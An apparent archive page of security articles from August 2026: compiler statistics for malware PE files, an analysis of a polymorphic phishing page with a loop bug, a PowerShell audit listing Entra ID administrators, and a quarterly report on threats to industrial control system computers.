ARTICLES 2026 AUGUST

ARTICLES 2026 AUGUST January(0) February(0) March(0) April(0) May(0) June(0) July(5) August(35) September(0) October(0) November(0) December(0) | YEARS(0) STATISTICS (0)

During my last FOR610 session, a student asked me if I had some statistics in mind about the compilers used to generate malicious PE files? A couple of months ago, I shared some stats about the trend in 64bits VS. 32bits malware[1]. Can we go a bit further? I (vibe-)coded a Python script based on the pefile library[2] to extract some info from the PE headers. Indeed, the PE file format contains a lot of metadata! They can be accessed using a lot of tools, like Detect It Easy:

Note: When you assess a PE file, a gold rule to follow is to never trust what you see because these metadata can be tempered!

The "Rich Header" is a block of data containing useful information (but undocumented by Microsoft). It's an XOR-obfuscated block that the Microsoft linker embeds between the DOS stub and the NT headers of PE files built with the MSVC toolchain. It records the @comp.id (product id + build number) and use-count of every object file that went into the link, which lets you fingerprint the exact compiler/linker/assembler build used, as well as, even the count of source files. pefile is able to handle these data smoothly.
The .NET CLR header (IMAGE_COR20_HEADER) + CLR metadata root, for managed (C#/VB.NET/F#) binaries. This gives the CLR runtime version and the embedded metadata version string (e.g. "v4.0.30319"). This is manually parsed per the public ECMA-335 spec (there's no MSVC Rich Header in managed-only PEs).
A light heuristic string scan for common non-Microsoft compiler signatures (GCC/MinGW, Clang/LLVM, Delphi/Borland, Free Pascal, Go, Rust), since none of those toolchains write a Rich Header. Just because strings are always easy to process and may reveal juicy information!
As said above, there is no official Microsoft documentation for the Rich Header, and no single authoritative mapping of every product-id -> tool/version exists. But they are community references that helps! The well-known "comp_id.txt" is one of them and constantly updated[3].

Now that we have a tool, where can we find fresh meat? Malware Bazaar is a good candidate because it is pretty popular and get new samples daily. They allow (but don't abuse) to download their data set for free! The first step was to download all the archive they offer[4]. I downloaded a total of 1.3 TB of ZIP archives, one archive per day from 2020-02-24 to 2026-07-08.

Because PE files can be embedded into other files and to avoid using to much storage, I rewrote the script:

To unzip files in memory and avoid touching the disk
To perform a recursive scan up to 3 levels
Here are the stats I gathered after “a few days” of processing!

Total scanned files 23.501.548
Not PE 22.580.068
Valid PE 690.689
Encrypted or unreadable 227.755
Invalid PE 1.508
ZIP Bomb 951
Invalid ZIP 519
Error 36
Skipped Nested ZIP (> 3 levels) 19
File Too Large 3
About the architecture:

32 Bits (or other architecture) 565.179
64 Bits 125.510
Interesting, this confirms my previous research: 32 bits PE file remain popular.

Rich Header Present 371.103
No Rich Header (Maybe stripping, a non-MSVC toolchain, tempeing,...) 319.586
Top-10 linker versions:

linker 48.0 102.307
linker 6.0 91.788
linker 9.0 62.070
linker 8.0 47.829
linker 2.25 36.673
linker 10.0 36.549
linker 14.0 29.786
linker 11.0 25.784
linker 14.29 24.655
linker 80.0 22.691
Top MSVC Rich Header compiler builds (useful for clustering samples built in the same environment/campaign):

build 26213 19.603
build 24213 15.389
build 30034 14.325
build 26706 7.755
build 24215 5.253
build 32533 5.033
build 33030 4.442
build 31823 3.738
build 25834 3.530
build 27412 3.294
Finally, and the most interesting status, what tools are used by attackers?

Microsoft toolchain (Rich Header present, no recognized C/C++ entry) 216173 31.3%
Borland C++/Delphi 20172 2.9%
Microsoft Visual C/C++ (Rich Header, compiler build 26213) 19603 2.8%
GCC / MinGW 13804 2.0%
Go 6254 0.9%
Embarcadero/Borland Delphi 6174 0.9%
Rust 1329 0.2%
Clang/LLVM 91 0.0%
Free Pascal (FPC) 1 0.0%
Interesting to see that arising programming languages like Go or Rust remain exotic in the data set! I expected more popularity!

As I’ve mentioned before in some of my diaries, from time to time, I like to go over phishing messages that get caught in my various spam traps or sent to us here at the Internet Storm Center.

After looking at enough phishing messages, one quickly gets used to seeing the same lures, the same credential-harvesting pages and, quite often, the same obfuscation techniques over and over again. But even something that seems to be “run-of-the-mill” at first glance can sometimes turn out to be quite interesting.

One such message was recently sent to our handler inbox, and as you can see, there was very little about it that would indicate that it would be worth a deeper look.

The link in the message pointed to a URL with the following, quite usual, structure:

Instead of displaying a phishing page, the browser remained effectively stuck for about 30 seconds, while utilization of one CPU core in the virtual machine I was using quickly rose to 100 %. Since retrieving the HTML source itself was almost instantaneous, it seemed clear that the delay wasn't caused by the server, and instead something in the page itself was preventing the browser from finishing its work.

Although a quick look at the source code showed that almost all of the page consisted of heavily obfuscated JavaScript, the reason for the unusual behavior fortunately wasn't too difficult to identify.

Among other things, the script contained two functions, which are slightly reformatted here for easier readability:

As you can see, both functions use k as a counter in their for loops. The first function is part of a decoding routine, and its loop counter is expected to go from 0 to 63. The second function is a helper used by the same routine to construct strings from ranges of character codes – it is used (among other places) in the _ie() function, which is called by the first function. The problem is that k isn't declared locally in either one of these functions.

This becomes important because _ie(), which is called during every iteration of the first loop, uses _YF() several times to construct the Base64 alphabet. Its final call is _YF(47,47), which produces the ‘/’ character (ASCII code 47).

Since the counter k used by _YF() is global, this final call also changes the value of k used by the outer loop. _YF(47,47) first sets k to 47, executes its loop once and then increments k to 48. At that point, the condition k <= 47 is no longer true, so _YF() returns with the global value of k left at 48.

Control then returns to the outer for loop, whose own increment changes k from 48 to 49. Since 49 is still smaller than 64, another iteration starts and _ie() is called again. Its final _YF(47,47) call once more leaves k at 48. The outer loop therefore never progresses beyond 49.

This explained both why the page never rendered and why the browser was keeping one CPU core rather busy.

Changing the inner routine to use its own local counter was sufficient to let the decoding process finish. After removing the remaining layers of obfuscation, what emerged was an otherwise completely unremarkable credential-stealing page.

At this point, the most likely explanation seemed fairly straightforward – the authors of the page had simply shot themselves in the foot by using a broken obfuscation mechanism.

Nevertheless, this proved not to be the case, since when I accessed the original URL again a little later, the page loaded normally. Another attempt to load the page was also successful, as were several subsequent ones.

More interestingly, while all of the resulting pages ultimately displayed the same credential-stealing form, their source code wasn't the same.

Function and variable names differed across page loads, functions appeared in a different order, numerical constants were expressed using different arithmetic operations and a large encoded block of code, which contained the actual payload with the form, changed as well. Even the innocuous-looking page title varied between requests using words like "Solution", "Viewer", "Credentials", "Private" and "Authenticate".

It therefore appeared that the first response wasn't a permanently broken copy of the phishing page at all. Rather, the server seemed to generate polymorphic variants of the page and I had simply happened to receive a “broken” one when I first accessed the target URL.

To test this hypothesis, I used a simple script to retrieve the same URL 50 times and, with some help from an LLM, compared the resulting samples.

Among the 50 samples (which all had different SHA-256 hashes), there were 21 different page titles, and, more importantly, 49 deobfuscated successfully while one became stuck in an endless loop – just like the first page I had the luck to land on.

The reason was effectively identical to what happened in the first page I encountered. In this variant, the two relevant functions had different randomized names, but both of their loops had once again been assigned the same undeclared variable k. The inner loop therefore repeatedly reset the value used by the outer one and prevented the decoder from completing.

The polymorphism wasn't limited to the initial JavaScript wrapper. The 50 page variants (if we include the one I had to manually “fix”) produced 50 different versions of the final phishing HTML. Form and input names, CSS classes, element identifiers and parameters used when loading images were changed, as was the placement of zero-width characters inside visible strings, which were used as a further obfuscation/anti-analysis mechanism. In spite of all these changes, however, the page presented to the user and its basic functionality remained essentially identical.

Polymorphic phishing pages are, of course, not new. The concept has been discussed for well over a decade in academic circles[1], and phishing pages which generate random HTML attribute values for individual visits have been used in the wild for years[2]. It has also previously been shown that JavaScript lends itself quite well to producing multiple versions of source code which look different while performing the same task[3] (which is the basis for the simplest implementation of polymorphism at the code level).

The rationale behind such an approach is fairly obvious – hashes, randomly generated identifiers and many simple string-based signatures become significantly less useful if every request produces what is basically a completely new copy of a malicious page.

Although polymorphism certainly shouldn't be thought of as some universal mechanism for bypassing security controls, as the underlying logic and behavior of the pages remains the same, and many structural characteristics inevitably survive most transformations, it does raise the cost of detection mechanisms which rely too heavily on static artifacts...

Though, in this case, it apparently also raised the cost for the threat actor, since at least some victims would end up with a non-functioning page (at least on a first load), given that of the approximately 56 samples I collected (50 using the script + my original manual attempts), two pages were broken.

Although it would be unreasonable to draw any firm conclusions about the actual failure rate of the mechanisms used, it is clear that the original endless loop wasn't just a “one-off” corrupted response and that whatever generates the code can repeatedly create non-functional pages.

Which brings us to one final question – what was actually generating the code?

Given the current popularity of generative AI, it is tempting to consider an LLM-based backend. This isn't entirely far-fetched either – in January, Unit 42 demonstrated a proof-of-concept in which an LLM was used to generate syntactically different phishing JavaScript in real time, resulting in a unique variant for individual visits[4]. There is, however, nothing in the samples which would prove that an LLM is involved here, and a conventional polymorphic obfuscator seems to be a much more plausible explanation, given that the transformations between individual page copies are quite systematic, and the recurring failure caused by reused global variable names would fit quite nicely with a relatively simple random renaming and reordering mechanism which doesn't properly account for variable scope.

In any case, had the first page loaded normally, I would almost certainly have dismissed it as yet another run-of-the-mill phishing site. As it turned out, though, the obfuscation mechanism intended to make the page more difficult to detect was also capable of making it somewhat ineffective at stealing credentials... which made the sample considerably more interesting than it initially appeared.

And – to end on a positive note – the sample did also provide a good lesson to any aspiring programmers out there – never use undeclared global variables as your loop counters.

A common thing that folks should "worry" about in Entra (or any platform really) is "who has rights to administer"? Who can delete or change key things, or modify them in ways that might not be obvious (accidentally or on purpose). Yes, we trust our people, but if they've moved on to other roles or to other organizations, they change from "our people" to "used to be our people".
Also, it's common to have too many admins. For instance, entry level support folks might need rights to change passwords, but they likely shouldn't have rights to change your intune policies or be global admins. The "too many admins" question is a common one that auditors will zero in on. This is #4 on the CIS Critical Controls v7 as "Control of Admin Privileges". In version 8 of the list it's now at #6 under "Access Control Management"

Let's dig into your Entra ID Directory, you might find some surprises in your admin list.

# first, as always connect to the directory
Connect-MgGraph -Scopes "Directory.Read.All", "RoleManagement.Read.All"

# Get the list of activated directory roles and the count of members
$roles = Get-MgDirectoryRole
foreach ($role in $roles) {
$members = Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id
[PSCustomObject]@{
RoleName = $role.DisplayName
MemberCount = $members.Count
}
}

RoleName MemberCount
-------- -----------
Privileged Authentication Administrator 0
Global Administrator 5
Password Administrator 1
Application Administrator 0
Service Support Administrator 0
Purview Workload Content Writer 1
User Administrator 0
SharePoint Administrator 0
Intune Administrator 3
Purview Workload Content Administrator 1
Azure AD Joined Device Local Adminis... 1
Helpdesk Administrator 0
Office Apps Administrator 2
Directory Readers 0
Billing Administrator 0
Cloud Application Administrator 0
Directory Synchronization Accounts 1
Directory Writers 0
Exchange Administrator 0
Authentication Administrator 2
Groups Administrator 0
Privileged Role Administrator 0
License Administrator 0
Conditional Access Administrator 3
Global Reader 1
Device Managers 0

So this output is OK for a stranger that is looking for a "how many is too many" sort of output. But if you are administering this directory, what you really want is the actual list - you want to know who the people in the list are, and compare that to your understanding of the roles that folks have in your organization. You are not looking for the answer to "does it look about right?", you are looking for the details "is it actually right?". A (really) common finding is to have "that auditor from 3 years ago" still in the list with a "Global Reader" or even "Global Administrator" role. You may also have management or even PMs that aren't as technical as they once were with admin rights, and the power of a collosal accidental delete (though that can be a regular AD issue as well). In this case, that "Global Reader" line above is a shiny, flashing beacon saying "LOOK HERE". Let's list the individual user accounts and what roles they have in Entra:

# Cycle through each role and get admin list
$adminslist = foreach ($role in $roles) {
$members = Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id
foreach($m in $members) {
$adminuser = get-mguser -userid $m.id
$adminusername = $adminuser.displayname
$adminuseraccount = $adminuser.userprincipalname
[PSCustomObject]@{
RoleName = $role.DisplayName
UserAccount = $adminuseraccount
UserName = $adminusername
}
}
}

Like changing passwords or keys (or planting a tree), the best time to do this is in the past, but TODAY is the second-best time to look at who has admin rights to key things like your Entra or AD directories. Check your list for Entra, let us know in the comments if you found anything unexpected? ( Anonymized of course)

Q2 in numbers

All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching its lowest level since 2022 — 19.15%.

Regionally, the percentage figures ranged from 8.1% in Northern Europe to 27.9% in Africa. The difference between the highest and lowest percentage figures across regions is quite significant: the percentage in Africa is 3.4 times more that in Northern Europe.

The figures increased in five regions over the quarter, most notably in East Asia (by 2.03 pp) and Africa (by 0.55 pp).

In East Asia, the percentage of ICS computers on which malicious objects were blocked increased to 21.84%, exceeding the global average.

East Asia saw increases in percentage figures for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which threats from email clients were blocked also increased.

In the region, all the surveyed industries saw an increase in percentage figures, except for building automation and construction.

The indicator fluctuates in Africa. During the period under review it was the highest it had been since Q2 2025.

Among the threat categories, the greatest increase was observed in the percentage figures for denylisted internet resources. Africa ranked first in terms of growth for ransomware and malware for AutoCAD, and third for both categories of self-propagating malware (worms and viruses). The region also ranked second in terms of growth for email client threats.

Selected industries

The biometrics sector has traditionally led the ranking of industries and OT infrastructure surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked, with 26.44%.

These systems are characterized by the availability of internet access, extensive email use, and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, worms. This sector is the leader among industries in terms of email threats. At the same time, unlike other industries, the percentage figure for email threats in biometrics exceeds that for internet threats.

In Q2 2026, the percentage figure of the biometrics sector increased slightly, while the values for other surveyed industries decreased.

Regionally, Southern Europe leads the ranking based on the percentage figures for biometrics, with 33.28%. The region also ranked first for threats from email clients.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

In Q2 2026, denylisted internet resources rose in the threat category ranking from third to second place, displacing spyware.

Globally, the percentage of ICS computers on which denylisted internet resources were blocked has increased for two quarters and reached 4.31%.

Regionally, the percentage figures ranged from 2.32% in Northern Europe to 5.17% in Russia. The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp).

In Q2 2026, Russia ranked first among the regions in terms of denylisted internet resources. Since 2022, the region has topped this ranking twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest percentage figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

On average, the electric power industry led the ranking among the selected industries in terms of the percentage of ICS computers on which denylisted internet resources were blocked (4.72%).

Among the selected industries across all regions, the top five for this parameter are:

Malicious scripts and phishing pages remained in first place in the threat category ranking based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average increased to 5.42%.

Malicious scripts and phishing pages are distributed both on the internet and via email clients.

Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 1.67% in Northern Europe to 8.76% in Southern Europe.

Over the quarter, the percentage figures only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

Mongolia had the highest rate of malicious scripts and phishing pages (8.19%) among the countries of East Asia.

In the region, the percentage of malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which malicious scripts and phishing pages were blocked (13.20%).

Among the selected industries across all regions, the top five for this parameter are:

It is worth noting that the first three positions in the similar ranking for malicious documents are occupied by the same industries in the same regions.

Malicious documents ranked fourth in the threat category ranking by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Regionally, the percentage of ICS computers on which malicious documents were blocked ranged from 0.37% in Northern Europe to 3.63% in Southern Europe.

Over the quarter, the percentage figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the ranking of regions in terms of malicious documents. In Q2 2026, the percentage figure in the region was 3.56%, which was the fourth highest in three years.

Among the countries in the region, Mexico and Uruguay led the ranking in terms of malicious documents, both with 5.13%.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the ranking of regions in terms of malicious documents. In the previous quarter, the percentage figure in the region was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the countries in the region, the percentage of ICS computers on which malicious documents were blocked in Q2 2026 increased significantly in Bosnia and Herzegovina, which ranked first in the corresponding ranking.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (11.48%).

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which malicious documents were blocked (6.03%).

Among the selected industries across all regions, the top five for this parameter are:

Note that in the similar ranking for malicious scripts and phishing pages, the first three positions are occupied by the same industries in the same regions.

Two industries from Southern Europe and South America were included in the top five. Recall that these regions are among the three regions with the highest percentage of ICS computers on which threats from email clients were blocked, and email is the main source of malicious documents.

In Q2 2026, spyware ranked third in the threat category ranking based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest it has been since 2022.

Regionally, the percentage of ICS computers on which spyware was blocked ranged from 0.98% in Northern Europe to 5.77% in Africa. Over the quarter, the percentage figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

East Asia ranked third based on its percentage figure for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025.

Among the countries in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%).

Among the selected industries in East Asia, the highest percentage figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the percentage figures are higher than the regional average.

Note that East Asia was the only region where the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased. The spread of malicious scripts and phishing pages by threat actors often precedes targeted attacks and infection of computers with spyware.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%.

Indonesia (6.96%) and Myanmar (6.92%) lead the way in the region in terms of the percentage of ICS computers on which spyware was blocked.

Among the selected industries in Southeast Asia, the highest percentage figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which spyware was blocked (7.29%).

Among the selected industries across all regions, the top five for this parameter are:

Note that two of the top five positions are occupied by industries from Southern Europe, which leads among the regions in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients. We reiterate that malicious scripts are sent in email attachments, among other things, and are used to download spyware to computers.

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters, but increased to 0.16% in Q2 2026.

Regionally, the percentage ranged from 0.06% in Western Europe to 0.29% in Africa. During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this parameter.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure was higher in the past three years was in Q2 2025 (0.31%).

In Africa, ransomware spreads via the internet and is also found on removable media.

Among the countries in the region, Sudan (2.29%) led by a wide margin in terms of the percentage of ICS computers on which ransomware was blocked.

Among the selected industries in Africa, the highest percentage figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which ransomware was blocked (0.31%).

Among the selected industries across all regions, the top five for this parameter are:

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both categories of miner: miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except miners in the form of executable files for Windows in Africa, where it increased slightly.

Regionally, the percentage ranged from 0.12% in Australia and New Zealand to 0.83% in Central Asia and the South Caucasus. Russia still ranks second (0.67%).

This category of threat spreads through all threat sources, most often via the internet.

On average, the oil and gas industry led the ranking among the selected industries in terms of the percentage of ICS computers on which miners in the form of executable files for Windows were blocked (0.66%).

Among the selected industries across all regions, the top five for this parameter include four industries in Central Asia and the South Caucasus: biometrics (2.05%), manufacturing (1.66%), construction (1.36%), and electric power (1.27%). Biometrics in Russia ranked third in this list (1.47%).

The figures for web miners across the regions range from 0.04% in East Asia to 0.25% in South America.

On average, the oil and gas industry led the ranking among the selected industries in terms of the percentage of ICS computers on which web miners were blocked (0.34%).

Among the selected industries across all regions, the top five for this parameter are:

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

Regionally, the percentage ranged from 0.27% in North America (Canada) to 3.41% in Africa. During the quarter, the figure increased most in the Middle East (by 0.34 pp) and in Australia and New Zealand (by 0.20 pp).

In Q2 2026, the Middle East (2.11%) ranked second (after Africa) in the ranking of regions in terms of worms, displacing Central Asia and the South Caucasus.

Yemen led the Middle East region in terms of the percentage of ICS computers on which worms were blocked (5.75%).

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region has only been higher in Q2 2024 (0.42%).

The figures for worms increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, the figures for these industries exceeded the regional average by 2.9 and 2.3 times, respectively.

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which worms were blocked (2.29%).

Among the selected industries across all regions, the top five for this parameter are:

Africa is a long-standing leader among the regions in terms of the percentage of ICS computers on which worms were blocked, as well as in terms of threats from removable media.

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

Regionally, the percentage ranged from 0.12% in Western Europe to 6.03% in Southeast Asia. The top three regions for this parameter remain unchanged: Southeast Asia (well ahead of the other regions), Africa, and East Asia. These same regions feature in the list of leaders in terms of malware for AutoCAD.

The percentage figures increased in three regions: East Asia, Australia and New Zealand, and Africa.

Africa ranked second in the ranking of regions in terms of the percentage of ICS computers on which viruses were blocked. The figure for this region has increased for the fourth consecutive quarter and reached its highest value since 2022 (4.22%).

Among the countries of the region, Cameroon (9.46%) and Algeria (7.12%) lead the way in terms of viruses.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years at 3.14%.

Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%). Note that it also ranked first in terms of malware for AutoCAD.

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry – from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

On average, the construction industry led the ranking among the selected industries in terms of the percentage of ICS computers on which viruses were blocked (2.03%).

Among the selected industries across all regions, the top five for this parameter include the construction industry, occupying first place in three regions, while Southeast Asian industries also occupy three places in the list:

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

Regionally, the percentage ranged from almost 0% in Northern Europe to 1.93% in Southeast Asia, which leads the other regions by a wide margin. Second and third places in this ranking were occupied by the same regions as the virus ranking: Africa and East Asia.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among African countries, Ethiopia, Algeria, and Morocco led in terms of the percentage of ICS computers on which malware for AutoCAD was blocked, with unusually high figures for this threat category (more than 2%).

Among the selected industries in Africa, the highest percentage of ICS computers on which malware for AutoCAD was blocked, as well as viruses, was in the construction industry (2.08%).

On average, the construction industry led the ranking among the selected industries in terms of the percentage of ICS computers on which malware for AutoCAD was blocked (1.17%).

Among the selected industries across all regions, the top five for this parameter are:

Main threat sources

In Q2 2026, of all the threat sources, the percentage increased only for email clients.

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Regionally, the percentage of ICS computers on which threats from the internet were blocked ranged from 3.82% in Northern Europe to 10.35% in South Asia, which rose from second place to top the corresponding ranking. Second place was occupied by Southeast Asia (9.65%).

Over the quarter, the percentage increased in three regions: East Asia, South Asia, and Russia.

Note that in South Asia, the corresponding percentage in Bangladesh increased sharply (from 10.52% to 17.76%).

On average, the construction industry led the ranking among the selected industries in terms of the percentage of ICS computers on which threats from the internet were blocked (8.99%).

Among the selected industries across all regions, the top five for this parameter consists of industries in South and Southeast Asia.

The percentage of ICS computers on which threats from email clients were blocked increased to 2.84%.

Regionally, the percentage ranged from 0.52% in Northern Europe to 6.45% in Southern Europe.

In Q2 2026, the percentage of ICS computers on which threats from email clients were blocked increased in South America (by 0.95 pp) and Africa (by 0.77 pp).

South America ranked second among the regions in terms of the percentage of ICS computers on which threats from email clients were blocked (5.2%).

Among the countries in the region, the highest values were in Mexico (8.35%) and Uruguay (7.41%). Among the industries surveyed in the region, biometrics had the highest rate (11.52%) and experienced the largest growth.

Africa ranked fifth among the regions in terms of the percentage of ICS computers on which threats from email clients were blocked (4.3%). Meanwhile, in Namibia, the figure was 12.35%. Among the selected industries in the region, building automation had the highest rate (8.06%), while biometrics saw the biggest increase.

On average, biometrics led the ranking among the selected industries in terms of the percentage of ICS computers on which threats from email clients were blocked (10.65%).

Among the selected industries across all regions, the top five for this parameter are:

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Regionally, the percentage ranged from 0.04% in Australia and New Zealand to 1.11% in Africa. Over the quarter, it decreased in all regions except Southeast Asia, and Australia and New Zealand, where the percentage figures remained virtually unchanged.

Africa is the long-term leader of this rating. Although the percentage of ICS computers on which threats from removable media were blocked is steadily decreasing in the region, the gap with other regions is still significant.

Among the selected industries in Africa, the highest percentage figures for threats from removable media were in the electric power industry (1.2%) and biometrics (1.29%).

On average, the electric power industry led the ranking among the selected industries in terms of the percentage of ICS computers on which threats from removable media were blocked (0.43%).

Among the selected industries across all regions, the top five for this parameter are:

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

Regionally, the percentage ranged from 0.00% in Australia and New Zealand to 0.11% in East Asia.

East Asia has traditionally led this parameter by a wide margin over other regions. As with viruses and malware for AutoCAD, mainland China was the region’s undisputed leader in terms of threats from network folders (0.11%).

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

On average, the oil and gas industry led the ranking among the selected industries in terms of the percentage of ICS computers on which threats from network folders were blocked (0.04%).

Among the selected industries across all regions, the top five for this parameter include four industries in East Asia:

Statistics across all threats

All threats

Selected industries

We use heat maps when assessing the challenges across industries. Colors on the heat map indicate an indicator’s position in the global industry ranking by threat category or threat source. Yellow highlights the highest values across industries for a specific threat category or threat source. Red indicates that the value is close to the maximum.

Biometrics ranks highest across industries in terms of percentage figures for email threats. It is worth noting that, unlike in other industries, the percentage figure for threats from email clients in biometrics exceeds that for threats from the internet.

Email is a source of malicious scripts and malicious documents. Following a malicious link in an email or opening an attachment from a phishing email can cause the computer to become infected with spyware. Spyware, in turn, can be used (among other things) to steal information needed to deliver other types of malware, such as ransomware.

Biometrics lead in all of the following malware categories: malicious scripts and phishing pages, malicious documents, spyware, and ransomware.

The electric power industry ranks first in terms of the percentage of ICS computers on which threats from removable media were blocked, and third for worms (which are distributed primarily via removable media). Threats from the internet are also relevant to this industry, and the percentage figure for the electric power industry for this threat source is the second highest among all industries. At the same time, the electric power industry ranks first in terms of denylisted internet resources.

Building automation ranks second for the same set of threats as biometrics above (malicious scripts and phishing pages, malicious documents, spyware, and ransomware), as well as for threats from email clients.

The construction industry ranks first in terms of threats from the internet and third for the percentage of ICS computers on which denylisted internet resources were blocked. This industry also leads in terms of viruses and malware for AutoCAD.

The oil and gas industry ranks first in terms of threats from network folders and miners that were blocked on its ICS computers.

Threat categories

Attacks blocked within an ICS network are typically multi-step sequences of malicious operations, in which each subsequent step by the attackers is designed to gather additional information, elevate privileges, and/or gain access to other systems by exploiting security issues existing in industrial enterprises, including their OT infrastructures.

Malicious objects blocked by Kaspersky products on ICS computers can be divided into three groups based on their distribution methods and purposes.

Malware for AutoCAD is not grouped by distribution method, as it can spread in various ways.

Malicious objects designed for the initial infection of ICS computers are used extensively by attackers, so security solutions block these objects more often than other groups. Our statistics reflect this: globally and in almost all regions, malicious scripts and phishing pages, as well as denylisted internet resources, appear at the top of threat category rankings by the percentage of ICS computers on which they were blocked.

It should be noted that, in a small percentage of cases, the threat categories that we classify as malicious objects used for initial infection, such as malicious links, can also be used in subsequent stages of an attack. For example, a link to a malicious resource may sometimes be detected while scanning the system registry on a computer, where it evidently appeared as a result of activity by another malicious program before that malware was identified and blocked. A stricter classification of attacked ICS computers, based on the categories of blocked malware and sources of infection, is described in our article, “Dynamics of external and internal threats to industrial control systems”, which opens a new series of publications presenting the results of in-depth research into the ICS threat landscape based on statistics showing when different components of our security products were triggered.

It is worth noting that the techniques used to deploy malware online are diverse, extensive, and accessible to any attacker. Any web service (even the most secure) can be used as a web storage if it allows data to be stored and retrieved. In practice, this means that protection of an ICS network (like any other) should rely on the entire stack of protection technologies, not just protection of the network perimeter.

Malicious objects used for initial infection

Denylisted internet resources

The denylist of internet resources is used to prevent initial infection attempts. It mainly helps to block the following objects on ICS computers:

A significant part of these resources is used to distribute malicious scripts and phishing pages (HTML).

A detected malicious web resource may not always be easily added to a denylist because attackers are increasingly using legitimate internet resources and services, such as content delivery network (CDN) platforms, messengers, repositories, and cloud storage. These services allow malicious code to be distributed via unique links to unique content, making it difficult to use reputation-blocking tactics. We strongly recommend that industrial organizations implement policy-based blocking of such services, at least for OT networks where they are needed extremely rarely for objective reasons.

High parameter values usually indicate weak control over the implementation of information security policies (ICS computers have access to the internet in one way or another, and this access is frequently used), phishing protection weaknesses (many malicious links are delivered via phishing messages), and deficiencies in information security culture (employees visit insecure internet resources and follow malicious links from suspicious emails and social media messages).

